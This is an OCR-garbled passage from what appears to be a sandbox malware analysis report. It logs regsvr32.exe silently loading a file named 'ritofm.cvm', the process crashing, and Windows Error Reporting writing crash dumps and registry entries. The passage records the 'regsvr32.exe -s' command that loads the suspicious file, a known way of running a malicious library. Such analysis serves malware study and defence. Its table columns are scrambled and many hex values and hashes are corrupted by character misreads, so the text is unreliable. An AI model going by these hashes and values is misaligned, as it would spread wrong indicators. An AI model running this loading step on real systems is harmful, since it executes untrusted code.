73 00 73 00 54 00 69
00 6d 00 65 00 6¢ 00
69 00 6e 00 65 00 73
00 3e 00

0d 00 0a 00

Ascii

</l.nte.g.rato.r>.

<.P.ro.ce.s.s.T.i.m.e.li.n.
es.
.B.a.s.e.T.im.e.=.".2.0.
2.1.-.05.-.1.2.T.1.1.:.3.3...
0.2.2.">.

<.P.r.o.c.es.s. .As.ld="
3.7.1.". .P.l.D.=.".5.1.3.2.".
.U.p.tim.eM.S.="4.3.7."
.T..m.e.S.i.n.ce.Cre.a.t.

i.o.n.M.S.=.".4.3.7.". .S.u.s.
p.e.n.d.e.dM.S.=
.H.a.n.g.C.o.u.n.
.G.h.o.s.t.C.o.u.n.t.
.Crashed="1"

<./.P.ro.ce.s.s.>.

<./.P.ro.c.e.s.s.T.i.m.e.li
n.e.s.>.

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count Address

1

1

1

1

1

2

1

Source
Symbol

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown
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Source

File Path Offset Length Value Ascii Completion Count Address Symbol
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 1 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 38 3c005200650070 <.R.e.p.o.rtlnform.at success orwait 1 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml 00 6f00 72007400 i.o.n.>.

49 00 6e 00 66 00 6f
00 72 00 6d 00 61 00
74 00 69 00 6f 00 6e

00 3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 2 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 98 3c004700750069 <.G.u.id.>.c.e.b.d.7.c.5.d.- success or wait 1 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml 0064 003e 006300 .3.d.c.5.-4.8.7.c.-.9.4.c.f.-.

650062 00 640037 8.5.f.7.e.7.1.6.9.8.2.6.
00630035006400 <./G.u.id>.
2d 00 33 00 64 00 63

00 35 00 2d 00 34 00

3800 37 00 63 00 2d

00 39 00 34 00 63 00

66 00 2d 00 38 00 35

00 66 00 37 00 65 00

37 00 31 00 36 00 39

00 38 00 32 00 36 00

3c 00 2f 00 47 00 75

00 69 00 64 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 2 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 98 3c004300720065 <.Cr.e.atio.n.T.i.m.e.>2. success or wait 1 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml 00610074006900 0.2.1.-.0.5.-.1.2.T.1.1.:.3.3.

6f 00 6e 0054 0069 :.0.2.Z.</C.r.e.atio.n.T.
00 6d 00 65 00 3e 00 i.m.e.>.
3200 30 00 32 00 31

00 2d 00 30 00 35 00

2d 00 31 00 32 00 54

00 31 00 31 00 3a 00

3300 3300 3a 00 30

00 32 00 5a 00 3c 00

2f 00 43 00 72 00 65

00 61 00 74 00 69 00

6f 00 6e 00 54 00 69

00 6d 00 65 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 1 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 40 3c002f00520065 <..R.e.p.ortlnfo.rma. successorwait 1 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml 00 70 00 600 7200 t.i.0.n.>.

74 00 49 00 6e 00 66

00 6f 00 72 00 6d 00

61 00 74 00 69 00 6f
00 6e 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 40 3c002f00570045 <./W.E.R.R.e.p.o.rt.M.e.t. success or wait 1 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml 00520052006500 a.d.ata>.

7000 6f 00 72 00 74
00 4d 00 65 00 74 00
61 00 64 00 61 00 74
00 61 00 3e 00
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS58B7.tmp.xml

C:\ProgramData\Microsoft\Windo
ws\WER\ReportQueue\AppCrash_re
gsvr32.exe_68e15ffc7f9f5ac199e
af956335a58761f4230_7a325c51_0f165c5f\Report.wer

C:\ProgramData\Microsoft\Windo
ws\WER\ReportQueue\AppCrash_re
gsvr32.exe_68e15ffc7f9f5ac199e
af956335a58761f4230_7a325c51_0f165c5f\Report.wer

C:\ProgramData\Microsoft\Windo
ws\WER\ReportQueue\AppCrash_re
gsvr32.exe_68e15ffc7f9f5ac199e
af956335a58761f4230_7a325c51_0f165c5f\Report.wer

Registry Activities

Key Created

Key Path

\REGISTRY\A\{ecca22dc-6d1e-4d5d-da38-c6429eb4e43e}\Root\InventoryApplicationFile\PermissionsCheckTestKey
\REGISTRY\A\{ecca22dc-6d1e-4d5d-da38-c6429eb4e43e}\Root\InventoryApplicationFile\PermissionsCheckTestKey
\REGISTRY\A\{ecca22dc-6d1e-4d5d-da38-c6429eb4e43e}\Root\InventoryApplicationFile\regsvr32.exe|f4ddfe6b

Offset
unknown 4621

unknown 2

unknown 22

unknown 44

Length Value

3c 3f 78 6d 6¢ 20 76

65 72 73 69 6f 6e 3d

22 31 2e 30 22 20 65
6e 63 6f 64 69 6e 67

3d 22 55 54 46 2d 38
222073 74 61 6e 64
61 6¢ 6f 6e 65 3d 22

79 65 73 22 3f 3e 0d

0a 3c 72 6571 20 76
6572 3d 22 32 22 3e
0d 0a 20 20 3c 74 6¢
6d 3e 0d Oa 20 20 20
203c 737263 3e 0d
0a 20 20 20 20 20 20
3c 64 65 73 63 3e 0d
0a 20 20 20 20 20 20
20 20 3c 6d 61 63 68
3e 0d 0a 20 20 20 20
2020 20 20 20 20 3c
6f 73 3e 0d 0a 20 20

2020 20 20 20 20 20
2020203c 617267
20 6e 6d 3d 22 76 65
72 6d 61 6a 22 20 76
61 6¢ 3d 22 31 30 22
20 2f 3e 0d Oa 20 20

2020 20 20 20 20 20
2020203c 617267
20 6e 6d 3d 22 76 65
72 6d 69 6e 22 20 76
61 6¢ 3d 22 30 22 20
2f 3e 0d Oa 20 20 20

2020 20 20 20 20 20
2020 3c 617267 20
6e 6d 3d 22 76 65 72
62 6¢ 64 22 20 76 61
6¢ 3d 22

ff fe

56 00 6500 72 00 73
00 69 00 6f 00 6e 00
3d 00 31 00 0d 00 Oa
00

4d 00 65 00 74 00 61
00 64 00 61 00 74 00
61 00 48 00 61 00 73
00 68 00 3d 00 39 00
3500 31 00 30 00 36
00 30 00 3500 35 00
33 00

HKEY_LOCAL_MACHINE\Software\WOW6432Node\Microsoft\Windows\Windows Error Reporting\Debug

\REGISTRY\A\{ecca22dc-6d1e-4d5d-da38-c6429eb4e43e}\Root\InventoryApplicationFile\PermissionsCheckTestKey

Key Value Created

Key Path Name
\REGISTRY\A\{ecca22dc-6d1e-4d5d-da38- Programid
c6429eb4e43e}\Root\Inve
ntoryApplicationFile\regsvr32.exe|f4ddfe6b
\REGISTRY\A\{ecca22dc-6d1e-4d5d-da38- Fileld

c6429eb4e43e}\Root\Inve
ntoryApplicationFile\regsvr32.exe|f4ddfe6b

\REGISTRY\A\{ecca22dc-6d1e-4d5d-da38-
c6429eb4e43e}\Root\Inve
ntoryApplicationFile\regsvr32.exe|f4ddfe6b
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Type

unicode

unicode

LowerCaselLongPath unicode

Data

0000f519feec486de87ed73ch92d3c
ac802400000000

000088630f60e73454670a7d9b64c9
8b4798d1de8872

c:\windows\syswow64\regsvr32.exe

Ascii

<?xml version="1.0"
encoding="UTF-8"
standalone="yes"?>..<req
ver="2">. <tlm>.. <src>
<desc>..
<mach>..
<arg nm="vermaj" val="10"
/>.. <arg
nm="vermin" val="0" />..
<arg nm="verbld" val="

<0s>..

Completion Count
success or wait 1
success or wait 1

V.ers.i.o.n=1... success or wait 170
M.e.ta.d.ataH.as.h.=9. success orwait 1
5.1.0.6.0.5.5.3.
Source
Completion Count Address
success or wait 1 6EF336BF
success or wait 1 6EF336BF
success or wait 1 6EF336BF
success or wait 1 6EF31FB2
success or wait 1 6EF143D1
Source

Completion

success or wait

success or wait

success or wait

Count Address

1 6EF336B
1 6EF336B
1 6EF336B

Source

Address Symbol

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

Symbol

unknown

unknown

unknown
RegCreateKeyExXW

unknown

Symbol

F unknown

F unknown

F unknown
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Key Path

\REGISTRY\A\{ecca22dc-6d1e-4d5d-da38-
c6429eb4e43e}\Root\Inve
ntoryApplicationFile\regsvr32.exe|f4ddfe6b

\REGISTRY\A\{ecca22dc-6d1e-4d5d-da38-
c6429eb4e43e}\Root\Inve
ntoryApplicationFile\regsvr32.exe|f4ddfe6b

\REGISTRY\A\{ecca22dc-6d1e-4d5d-da38-
c6429eb4e43e}\Root\Inve
ntoryApplicationFile\regsvr32.exe|f4ddfe6b

\REGISTRY\A\{ecca22dc-6d1e-4d5d-da38-
c6429eb4e43e}\Root\Inve
ntoryApplicationFile\regsvr32.exe|f4ddfe6b

\REGISTRY\A\{ecca22dc-6d1e-4d5d-da38-
c6429eb4e43e}\Root\Inve
ntoryApplicationFile\regsvr32.exe|f4ddfe6b

\REGISTRY\A\{ecca22dc-6d1e-4d5d-da38-
c6429eb4e43e}\Root\Inve
ntoryApplicationFile\regsvr32.exe|f4ddfe6b

\REGISTRY\A\{ecca22dc-6d1e-4d5d-da38-
c6429eb4e43e}\Root\Inve
ntoryApplicationFile\regsvr32.exe|f4ddfe6b

\REGISTRY\A\{ecca22dc-6d1e-4d5d-da38-
c6429eb4e43e}\Root\Inve
ntoryApplicationFile\regsvr32.exe|f4ddfe6b

\REGISTRY\A\{ecca22dc-6d1e-4d5d-da38-
c6429eb4e43e}\Root\Inve
ntoryApplicationFile\regsvr32.exe|f4ddfe6b

\REGISTRY\A\{ecca22dc-6d1e-4d5d-da38-
c6429eb4e43e}\Root\Inve
ntoryApplicationFile\regsvr32.exe|f4ddfe6b

\REGISTRY\A\{ecca22dc-6d1e-4d5d-da38-
c6429eb4e43e}\Root\Inve
ntoryApplicationFile\regsvr32.exe|f4ddfe6b

\REGISTRY\A\{ecca22dc-6d1e-4d5d-da38-
c6429eb4e43e}\Root\Inve
ntoryApplicationFile\regsvr32.exe|f4ddfe6b

\REGISTRY\A\{ecca22dc-6d1e-4d5d-da38-
c6429eb4e43e}\Root\Inve
ntoryApplicationFile\regsvr32.exe|f4ddfe6b

\REGISTRY\A\{ecca22dc-6d1e-4d5d-da38-
c6429eb4e43e}\Root\Inve
ntoryApplicationFile\regsvr32.exe|f4ddfe6b

HKEY_LOCAL_MACHINE\SOFTWARE\WO

W6432Node\Microsoft\Windows\Windows Error

Reporting\Debug

Name

LongPathHash

Name

Publisher

Version

BinFileVersion

BinaryType

ProductName

ProductVersion

LinkDate

BinProductVersion

Size

Language

IsPeFile

IsOsComponent

ExceptionRecord

Type

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

dword

dword

dword

binary

Data
regsvr32.exe|f4ddfe6b

regsvr32.exe

microsoft corporation

10.0.17134.1 (winbuild.160101.0800)

10.0.17134.1

pe32_i386

microsoft. windows. operating system

10.0.17134.1

04/09/1971 17:28:23

10.0.17134.1

00 52 00 00 00 00 00 00

1033

05 00 00 CO 00 00 00 00 00 00 00 00
EE 6B 00 10 02 00 00 00 01 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Source

Count Address

1 6EF336BF
1 6EF336BF
1 6EF336BF
1 6EF336BF
1 6EF336BF
1 6EF336BF
1 6EF336BF
1 6EF336BF
1 6EF336BF
1 6EF336BF
1 6EF336BF
1 6EF336BF
1 6EF336BF
1 6EF336BF
1 6EF31FE8

Symbol

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

RegSetValueExwW

00 00 00 00 00 00 00 00
Analysis Process: regsvr32.exe PID: 984 Parent PID: 968
General
Start time: 13:34:00
Start date: 12/05/2021
Path: C:\Windows\System32\regsvr32.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

File Activities

File Read

Copyright Joe Security LLC 2021

false

regsvr32.exe -s 'C:\Users\user\ritofm.cvm'

0x7ff7585d0000
24064 bytes

D78B75FC68247E8AG3ACBA846182740E

true
true
C, C++ or other language

high
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Source

File Path Offset Length Completion Count Address Symbol
C:\Users\user\ritofm.cvm unknown 64 success or wait 1 7FF7585D10E3 ReadFile
C:\Users\user\ritofm.cvm unknown 264 success or wait 1 7FF7585D1125 ReadFile

Analysis Process: regsvr32.exe PID: 4780 Parent PID: 984

General

Start time: 13:34:01

Start date: 12/05/2021

Path: C:\Windows\SysWOW64\regsvr32.exe
Wow64 process (32bit): true

Commandline: -s 'C:\Users\user\ritofm.cvm’
Imagebase: 0x1200000

File size: 20992 bytes

MDS5 hash: 426E7499F6A7346F0410DEAD0805586B
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

Analysis Process: WerFault.exe PID: 5828 Parent PID: 4780

General

Start time: 13:34:03

Start date: 12/05/2021

Path: C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\WerFault.exe -u -p 4780 -s 652
Imagebase: 0xfc0000

File size: 434592 bytes

MDS5 hash: 9E2B8BACAD48ECCA55C0230D63623661B
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

File Activities

File Created
Source
File Path Access Attributes Options Completion Count Address Symbol
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\DBG read data or list device directory file | object name collision 1 6EF21717 unknown
directory | synchronous io
synchronize non alert | open
for backup ident
| open reparse
point
C:\ProgramData\Microsoft\Windows\WER\Temp\WER5565.tmp read attributes | device synchronous io  success or wait 1 6EF1497A unknown
synchronize | non alert | non
generic read directory file
C:\ProgramData\Microsoft\Windows\WER\Temp\WER5565.tmp.dmp read attributes | device synchronous io  success or wait 1 6EF1497A unknown
synchronize | non alert | non
generic read | directory file
generic write
C:\ProgramData\Microsoft\Windows\WER\Temp\WER611E.tmp read attributes | device synchronous io  success or wait 1 6EF1497A unknown
synchronize | non alert | non
generic read directory file
C:\ProgramData\Microsoft\Windows\WER\Temp\WERG611E.tmp.WERInt read attributes | device synchronous io  success or wait 1 6EF1497A unknown
ernalMetadata.xml synchronize | non alert | non
generic read | directory file

generic write
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Source

File Path Access Attributes Options Completion Count Address Symbol
C:\ProgramData\Microsoft\Windows\WER\Temp\WER640D.tmp read attributes | device synchronous io  success or wait 1 6EF1497A unknown
synchronize | non alert | non
generic read directory file
C:\ProgramData\Microsoft\Windows\WER\Temp\WER640D.tmp.xml| read attributes | device synchronous io  success or wait 1 6EF1497A unknown
synchronize | non alert | non
generic read | directory file

generic write

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_re read data or list device directory file | success or wait 1 6EF1497A unknown
gsvr32.exe_68e15ffc7f9f5ac199eaf956335a58761f4230_7a325c51_169b688f directory | synchronous io
synchronize non alert | open

for backup ident
| open reparse

point
C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_re read attributes | device synchronous io  success or wait 1 6EF1497A unknown
gsvr32.exe_68e15ffc7f9f5ac199eaf956335a58761f4230_7a325c51_1 synchronize | non alert | non
69b688f\Report.wer generic write directory file
File Deleted
Source
File Path Completion Count Address Symbol
C:\ProgramData\Microsoft\Windows\WER\Temp\WER5565.tmp success or wait 1 6EF1497A unknown
C:\ProgramData\Microsoft\Windows\WER\Temp\WER611E.tmp success or wait 1 6EF1497A unknown
C:\ProgramData\Microsoft\Windows\WER\Temp\WER640D.tmp success or wait 1 6EF1497A unknown
C:\ProgramData\Microsoft\Windows\WER\Temp\WER5565.tmp.dmp success or wait 1 6EF1497A unknown
C:\ProgramData\Microsoft\Windows\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml success or wait 1 6EF1497A unknown
C:\ProgramData\Microsoft\Windows\WER\Temp\WER640D.tmp.xml| success or wait 1 6EF1497A unknown
C:\ProgramData\Microsoft\Windows\WER\Temp\WERG644B.tmp.csv success or wait 1 6EF1497A unknown
C:\ProgramData\Microsoft\Windows\WER\Temp\WERG67C7.tmp.txt success or wait 1 6EF1497A unknown
File Written
Source

File Path Offset Length Value Ascii Completion Count Address Symbol
C:\ProgramData\Microsoft\Windo unknown 32 4d 44 4d 50 93 a7 ee  MDMP........ ....... 2. success or wait 1 6EF1497A unknown
ws\WER\Temp\WERS5565.tmp.dmp a0 0e 00 00 00 20 00

00 00 00 00 00 00 32

bd 9b 60 a4 05 12 00

00 00 00 00
C:\ProgramData\Microsoft\Windo unknown 6 000000000000 ... success or wait 1 6EF1497A unknown
ws\WER\Temp\WERS5565.tmp.dmp
C:\ProgramData\Microsoft\Windo unknown 1420 00 00 06 00 07 55 04 success or wait 1 6EF1497A unknown
ws\WER\Temp\WERS5565.tmp.dmp 01 0a 00 00 00 00 00

00 00 ee 42 00 00 02 .
000000d41a0000 .........@..1. LW
00 01 00 00 47 65 6e .E.u.r.o.p.e..S.ta.n.d.a.r.d.
7569 6e 65496e 74 .T.im.€..cccceennnn

65 6¢ 57 060500 fffh ..ooeiriiicinn W... .

8b 1f 00 00 00 00 54 E.u.r.o.p.e..D.a.y.li.g.h.t.
050000f7030000 .T.i.m.e.....

ac 12 00 00 29 bd 9b

60 00 00 00 00 00 00

00 00 93 08 00 00 93

08 00 00 93 08 00 00

01 00 00 00 01 00 00

00 00 40 00 00 31 00

00 00 00 00 00 00 02

00 00 00 c4 ff ff ff 57

00 2e 00 20 00 45 00

75 00 72 00 6f 00 70

00 65 00 20 00 53 00

74 00 61 00 6e 00 64

00 61 00 72 00 64 00

20 00 54 00 69 00 6d

00 65 00 00 00 00 00

00 00 00 00 00 00 00

00 00 00 00 00 00 00

00 00 0a 00 00 00 05

00 03 00 00 00 00 00

00 00 00 00 00 00 57

00 2e 00 20 00 45 00

7500 72 00 6f 00 70

00 65 00 20 00 44 00

61 00 79 00 6¢ 00 69

00 67 00 68 00 74 00

20 00 54 00 69 00 6d

00 65 00 00 00 00 00

00
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS5565.tmp.dmp

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS5565.tmp.dmp

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS5565.tmp.dmp

Copyright Joe Security LLC 2021

Offset Length Value

unknown 716

unknown 168

unknown 20

7f 00 01 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
aa aa aa aa aa aa aa
aa aa aa aa aa aa aa
aa aa aa aa aa aa aa
aa aa aa aa aa aa aa
aa aa aa aa aa aa aa
aa aa aa aa aa aa aa
aa aa aa aa aa aa aa
aa aa aa aa aa aa aa
aa aa aa aa aa aa aa
aa aa aa aa aa aa aa
aa aa aa aa aa aa aa
aa aa aa aa aa aa aa
aa aa aa aa aa aa aa
aa aa aa aa aa aa aa
aa aa aa aa aa aa aa
aa aa aa aa aa aa aa
2b 00 00 00 53 00 00
00 2b 00 00 00 2b 00
00 00 ee 6b 00 10 20
e4 12 00 00 00 00 00
ff ff ff ff ee 6b 00 10 00
00 00 00 2c e4 12 00
ee 6b 00 10 23 00 00
0046 020100 10 e4
12 00 2b 00 00 00 aa
aa aa aa aa aa aa aa
aa aa aa aa aa aa aa
aa aa aa aa aa aa aa
aa aa aa aa aa aa aa
aa aa aa aa aa aa aa
aa aa aa aa aa aa aa
aa aa aa aa aa aa aa
aa

90 19 00 00 00 00 00
00 05 00 00 c0 00 00
00 00 00 00 00 00 00
00 00 00 ee 6b 00 10
00 00 00 00 02 00 00
00 00 00 00 00 01 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 cc
02 00 00 64 1f 00 00

0f 00 00 00 b4 f9 58
00 00 00 00 00 4c 06
00 00 bc 28 00 00

Completion

success or wait

success or wait

success or wait

Source

Count Address Symbol

1

1

15

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

Page 66 of 87



File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS5565.tmp.dmp

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS5565.tmp.dmp

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS5565.tmp.dmp

Copyright Joe Security LLC 2021

Offset Length Value

unknown 1612

unknown 4096

unknown 4

bc bl 11 77 d6 c9 Of
77 54 00 00 00 aa aa
aa aa 10 00 00 00 48
fa 58 00 14 fb 58 00
aa aa aa aa 40 c7 Of
77 40 c7 0f 77 aa aa
aa aa aa aa aa aa 00
00 00 00 cO0 fd 5a 00
54 00 00 00 aa aa aa
aa 54 00 00 00 aa aa
aa aa aa aa aa aa 00
00 00 00 00 00 00 00
00 00 00 00 aa aa aa
aa b8 07 5a 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 aa aa aa aa 00
00 00 00 00 00 00 00
aa aa aa aa a0 5d 5a
00 00 00 00 00 00 00
00 00 00 00 00 00 00
30 33 00 10 00 00 00
aa aa aa aa 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 aa
aa aa aa 00 00 00 00
aa aa aa aaaaaaaa
aa 54 32 33 00 54 32
3300 e8 07 5a 00 e8
07 5a 00 00 00 00 00
aa aaaaaaaaaaaa
aa 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00

60 fb 58 00 00 00 59
00 00 e0 58 00 00 00
00 00 00 1e 00 00 00
00 00 00 00 90 33 00
00 00 00 00 ac 12 00
00 44 16 00 00 00 00
00 00 58 25 5b 00 00
30 33 00 57 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 70 Oa 77
09 04 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00

02 00 00 00

Source

Ascii Completion Count Address Symbol
LW WT H.X..X... success or wait 14 6EF1497A unknown
2T
T23.T2

TXLYL X S

success or wait 1 6EF1497A unknown

success or wait 2 6EF1497A unknown
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File Path Offset

C:\ProgramData\Microsoft\Windo unknown 716

ws\WER\Temp\WERS5565.tmp.dmp

C:\ProgramData\Microsoft\Windo unknown 48
ws\WER\Temp\WERS5565.tmp.dmp
C:\ProgramData\Microsoft\Windo unknown 4
ws\WER\Temp\WERS5565.tmp.dmp
C:\ProgramData\Microsoft\Windo unknown 30

ws\WER\Temp\WERS5565.tmp.dmp

Copyright Joe Security LLC 2021

Length Value

3f 00 01 00 00 00 00

00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
aa aaaa aaaaaaaa
aa aa aa aa aaaaaa
aa aa aaaaaaaaaa
aaaaaaaaaaaaaa
aa aa aa aaaaaaaa
aa aa aa aaaaaaaa
aa aaaaaaaaaaaa
aa aaaaaaaaaaaa
aa aaaaaaaaaaaa
aa aaaaaaaaaaaa
aa aa aa aa aaaaaa
aa aa aa aa aaaaaa
aa aaaaaaaaaaaa
aa aaaaaaaaaaaa
aa aa aa aaaaaaaa
aa aaaaaaaaaaaa
2b 00 00 00 53 00 00
00 2b 00 00 00 2b 00
00 00 aa aa aa aa 00
00 00 00 00 00 00 00
aa aa aa aa ee 6b 00
10 00 00 00 00 78 d6
1200 bc 9a 11 77 23
00 00 00 02 02 00 00
38 d6 12 00 2b 00 00
00 aa aa aa aa aa aa
aa aaaaaaaaaaaa
aa aaaaaaaaaaaa
aa aaaaaaaaaaaa
aa aaaaaaaaaaaa
aa aa aa aaaaaaaa
aa aa aa aa aaaaaa
aaaaaa

44 16 00 00 00 00 00
00 00 40 00 00 00 00
00 00 00 90 33 00 00
00 00 00 b4 f9 58 00
00 00 00 00 4c 06 00
00 bc 28 00 00 cc 02
00 00 fc 24 00 00

28 00 00 00

18 00 00 00 72 00 65
00 67 00 73 00 76 00
72 00 3300 3200 2e
00 65 00 78 00 65 00
00 00

...re.g.s.wv.r3.2..ex.e..

Completion

success or wait

success or wait

success or wait

success or wait

Count Address

2

1

40

40

Source
Symbol

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS5565.tmp.dmp

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS5565.tmp.dmp

Copyright Joe Security LLC 2021

Offset Length Value

unknown 752

unknown 9474

00 00 00 10 00 00 00
00 00 e0 05 00 00 00
00 00 b2 63 8d 60 4a
1f 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 01 00 Of 00
5a 62 02 00 00 10 00
00 fb fe 0f 00 01 00 00
00 ff ff 13 00 00 00 01
00 00 00 01 00 00 00
00 00 ff ff fe 7f 00 00
00 00 0f 00 00 00 00
00 00 00 04 00 00 00
00 90 71 02 00 00 00
00 00 a0 f0 02 00 00
00 00 22 6¢ 01 00 00
01 00 00 00 00 00 00
ff ff ff ff 00 00 00 00 54
d6 03 00 00 00 00 00
ef d8 03 00 00 00 00
00 00 00 00 00 00 00
00 00 af ¢3 1a 00 00
00 00 00 91 3b 05 00
00 00 00 00 40 ff 1f 00
00 00 00 00 93 76 05
00 00 00 00

0a 00 00 00 45 00 76
00 65 00 6e 00 74 00
00 00 00 00 00 00 06
00 00 00 08 00 00 00
01 00 00 00 00 00 00
00 28 00 00 00 57 00
61 00 69 00 74 00 43
00 6f 00 6d 00 70 00
6¢ 00 65 00 74 00 69
00 6f 00 6e 00 50 00
61 00 63 00 6b 00 65
00 74 00 00 00 18 00
00 00 49 00 6f 00 43
00 6f 00 6d 00 70 00
6¢ 00 65 00 74 00 69
00 6f 00 6e 00 00 00
1e 00 00 00 54 00 70
00 57 00 6f 00 72 00
6b 00 65 00 72 00 46
00 61 00 63 00 74 00
6f 00 72 00 79 00 00
00 Oe 00 00 00 49 00
52 00 54 00 69 00 6d
00 65 00 72 00 00 00
28 00 00 00 57 00 61
00 69 00 74 00 43 00
6f 00 6d 00 70 00 6¢
00 65 00 74 00 69 00
6f 00 6e 00 50 00 61
00 63 00 6b 00 65 00
74 00 00 00 Oe 00 00
00 49 00 52 00 54 00
69 00 6d 00 65 00 72
00 00 00 28 00 00 00
57 00 61 00 69 00 74
00 43 00 6f 00 6d 00
7000 6¢

LGEvento
(...W.a.i.t.C.o.m.p.l.e.
tio.n.P.a.cke.t....lLo.
C.o.m.p.l.e.ti.o.n.....T.p.
W.o.rk.er.Fa.cto.ry...
LLR.Timee.r..(..W.a.it.

C.o.m.p.l.e.ti.o.n.P.a.ck.e.

te..LRT.iim.e.r..(.W.
a.i.t.C.o.m.p.l

Completion

success or wait

success or wait

Source

Count Address Symbol

1

1

6EF1497A unknown

6EF1497A unknown
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS5565.tmp.dmp

C:\ProgramData\Microsoft\Windo
